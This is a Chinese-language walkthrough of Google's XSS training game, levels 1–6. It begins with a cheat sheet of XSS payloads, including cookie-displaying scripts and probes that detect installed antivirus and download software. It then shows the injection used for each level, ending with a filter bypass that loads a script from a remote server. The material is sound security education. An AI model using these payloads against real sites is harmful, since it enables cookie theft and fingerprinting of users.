谷歌XSS闯关游戏第1到6关答案
一、XSS常用payload
1、反射型XSS和存储型XSS适用脚本(在搜索栏,提交框输入)
<script>alert('xss')</script>
<script>alert(0)</script>
<img src=0 onerror=alert(0)>
<svg onload=alert(0)>
2、XSS交互型脚本(在URL中输入)
javascript:alert(0)
3、XSS弹出cookie payload
<script>alert(document.cookie)</script>
alert(document.cookie)
<img src=0 onerror=alert(document.cookie)>
<svg onload=alert(document.cookie)>
4、XSS测试是否安装瑞星脚本
<script>
var havesoft=false;
var disk=['c','d'];
var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];
for(i=0;i<soft.length;i++)
{ for(j=0;j<disk.length;j++)
{ var img=new Image();
res='res://'+disk[j]+soft[i];
img.src=res;
if(img.height!=30)
{
havesoft=true;
}
}
}
</script>
5、XSS了解环境组件
<script>
try{
var object = new ActiveiXObject(“XunLeiBHO.ThunderIEHelper”);
} catch(e){alert(“迅雷软件未安装”);
}
</script>
6、XSS了解浏览器和操作系统
<script>
alert(navigator.userAgent);
</script>
7、XSS加固
设置cookie值为HttpOnly形式防止XSS攻击的代码
httpOnly 是在 Set-Cookie 时进行标记的,设置的 Cookie 头格式如下:
Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
8、 谷歌XSS闯关游戏
http://www. xss-game.appspot.com
二、 谷歌XSS游戏闯关解题过程
1、 Level 1: Hello, world of XSS (反射型XSS)
从页面结构分析:
在搜索框内可以进行搜索,据此分析可能是反射型XSS漏洞;
使用js脚本进行测试:
在搜索框内输入:
<script>alert(0);</script>
或者:
<img src=0 onerror=alert(0)>
或者:
<svg onload=alert(0)>
输入js代码后,查看效果:
可以看到成功弹出alert(0),代码成功执行:
2、Level 2: Persistence is key (存储型XSS)
从页面结构分析:
此页面可以进行留言状态分享,所以据此分析可能是存储型XSS漏洞;
使用js代码进行测试:
在留言框中输入正常文本abc,查看是否可以提交,发现可以提交:
在留言框中输入:
<script>alert(0)</script>
<script>alert(0)</script>
发现在页面上没有显示,猜测script可能被过滤:
继续使用js代码进行测试:
<img src=0 onerror=alert(0)>
提交之后,发现在留言页面中显示未加载成功的图片,并弹出0:
然后在留言框中输入:1,发现每次输入 都会弹出。
证明是存储型XSS:
3、Level 3: That sinking feeling... (DOM型XSS)
第1页:
第2页
第3页
从页面结构分析:
从页面中可以看出,该网页URL不能输入、页面没有留言框、搜索框等用户输入点;同时该网页是通过#数字来控制页面的,所以据此分析可能是DOM型的XSS漏洞;
DOM型XSS原理:DOM型XSS漏洞也是通过URL来触发XSS的,但是DOM型XSS不是通过伪造用户输入,而是直接修改页面元素来触发XSS的。
第一步,按F12查看页面源代码,鼠标点击图片,定位:
尝试在img标签中进行注入:
<img src="/static/level3/cloud1.jpg">
在img标签中注入js事件:
<img src="/static/level3/cloud1.jpg" onload="alert(0)">
选中img标签,鼠标右键点击,选择编辑HTML:
在img标签中添加事件:
修改后,成功弹出:
4、 Level 4: Context matters
查看页面结构,点击create timer尝试,观察结果:
发现三处变化:
自动弹出一个框;
URL后缀出现一个timer=1;
页面中显示:
首先对URL中的参数timer的值进行修改:
timer=<script>alert(0)</script>
f发现没有弹出;
然后改变timer值为444,查看页面变化:
查看页面源代码:
对444进行修改,改为img测试脚本:
<img src=0 onerror=alert(0)>
5、Level 5: Breaking protocol
从页面结构分析:
这是一个交互型XSS漏洞,我们来找控制网页改变的控制点,可以是在输入框中,也可以是在URL中;
先对URL中的后缀confirm进行测试:
将confirm改为: www.baidu.com
发现页面没有变化,说明confirm输入的位置是页面的一个控制点;
下一步查看页面代码:
从上图可以看到我们输入的信息都被存入在a标签中,这样我们可以输入一个JavaScript伪协议。
用户点击页面中的next时直接调用js代码,触发XSS攻击,输入:javascript:alert(document.domain)
弹出成功。
6、Level 6: Follow the
从页面结构分析:
该网站上传了一个/static/gadget.js的js类型文件,正式利用这个js文件所以才打开了网页。因此思路就是建立一个远程服务器然后上传我们带有xss脚本的文件,最后更改这个/static/gadget.js为我们建立的远程服务器的URL文件地址,就可以实现执行我们搭建的服务器上文本的XSS脚本了!
在公网服务器上创建一个js脚本文件:
[root@VM-16-13-centos ~]# cd /var/www/html/
[root@VM-16-13-centos ~]# vim xss.txt
查看页面代码:
如果url的后缀为http,那么报错,这是一个正则错误,并没有进行过滤,可以通过更改http大小写,来实现绕过;
http://www.xss-game.appspot.com/level6/frame#httP://77.77.70.73/xss.txt
发现成功弹出: